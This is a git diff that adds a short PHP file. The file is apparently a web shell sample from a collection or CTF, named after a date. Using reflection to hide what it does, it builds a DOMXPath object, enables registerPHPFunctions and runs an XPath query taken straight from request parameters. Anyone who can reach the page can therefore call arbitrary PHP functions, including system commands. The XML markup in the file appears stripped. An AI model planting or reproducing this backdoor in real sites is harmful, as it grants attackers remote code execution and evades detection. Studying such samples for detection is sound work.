diff --git a/php/system2022-08-22.php b/php/system2022-08-22.php new file mode 100644 index 0000000..ac0db97 --- /dev/null +++ b/php/system2022-08-22.php @@ -0,0 +1,24 @@ + + + + We are the champions + LemonPrefect + H3h3QAQ + + +XML; +​ +$doc = new DOMDocument; +$doc->loadXML($xml); +$clazz = (new ReflectionClass("DOMXPath")); +$instance = $clazz->newInstance($doc); +$clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]); +$clazz->getMethod("registerPHPFunctions")->invoke($instance); +$clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);